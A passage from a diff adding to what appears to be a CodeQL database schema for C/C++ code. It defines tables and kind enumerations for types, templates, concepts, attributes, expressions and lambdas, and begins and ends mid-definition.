int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, 